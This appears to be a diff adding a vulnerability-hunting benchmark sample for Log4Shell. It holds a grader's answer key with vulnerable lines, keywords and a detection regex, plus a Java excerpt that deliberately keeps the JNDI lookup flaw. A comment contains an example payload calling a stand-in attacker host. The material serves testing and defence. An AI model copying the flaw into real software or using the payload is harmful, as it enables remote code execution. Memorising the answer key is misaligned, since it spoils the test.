T3MP3ST public launch build

bench/cve-hunt/samples/CVE-2021-44228/ground-truth.yaml

@@ -0,0 +1,28 @@
+cve: CVE-2021-44228
+alias: Log4Shell
+cwe_primary: CWE-917
+cwe_acceptable: [CWE-917, CWE-94, CWE-20, CWE-502, CWE-74]
+target_file: source.java
+vuln_lines: [34, 35, 36]
+severity: critical
+vuln_class: expression_injection
+exploit_pattern_regex: '\$\{jndi:(ldap|rmi|dns)://'
+must_mention_any:
+  - jndi
+  - lookup
+  - substitut
+  - ${
+  - attacker controlled
+  - remote class
+  - expression injection
+  - code execution
+points: 30
+notes: |
+  Vulnerability: format() invokes substitutor.replace(event, formatted) on the
+  message body itself when it contains `${`. The substitutor resolves nested
+  lookups including `${jndi:...}` which fetches and deserialises a remote class.
+  Any logged user-controlled string becomes an RCE primitive.
+  Hunter MUST identify:
+    1. Recursive substitution of message body contents
+    2. JNDI lookup is reachable through the substitutor
+    3. Lack of lookups-disabled guard (`noLookups` is dead-code)

bench/cve-hunt/samples/CVE-2021-44228/source.java

@@ -0,0 +1,40 @@
+// MessagePatternConverter.format() - excerpt from log4j-core 2.14.x pre-CVE-2021-44228.
+// Faithful structure with the recursive lookup substitution that resolves
+// ${jndi:...} expressions inside log message payloads at format time.
+
+package org.apache.logging.log4j.core.pattern;
+
+import org.apache.logging.log4j.core.LogEvent;
+import org.apache.logging.log4j.core.config.Configuration;
+import org.apache.logging.log4j.core.lookup.StrSubstitutor;
+import org.apache.logging.log4j.message.Message;
+
+public final class MessagePatternConverter {
+    private final StrSubstitutor substitutor;
+    private final boolean noLookups;
+
+    public MessagePatternConverter(final Configuration config) {
+        this.substitutor = config.getStrSubstitutor();
+        this.noLookups   = false; // default — lookups enabled
+    }
+
+    public void format(final LogEvent event, final StringBuilder toAppendTo) {
+        final Message msg = event.getMessage();
+        if (msg == null) {
+            return;
+        }
+
+        final String formatted = msg.getFormattedMessage();
+
+        // BUG: substitute references inside the message itself.
+        // Attacker who controls *any* logged value (e.g. User-Agent, username,
+        // search query) can inject "${jndi:ldap://attacker/exploit}" which
+        // the substitutor will resolve, fetching and deserialising a remote
+        // class via JNDI/LDAP and triggering arbitrary code execution.
+        if (formatted.contains("${")) {
+            toAppendTo.append(substitutor.replace(event, formatted));
+        } else {
+            toAppendTo.append(formatted);
+        }
+    }
+}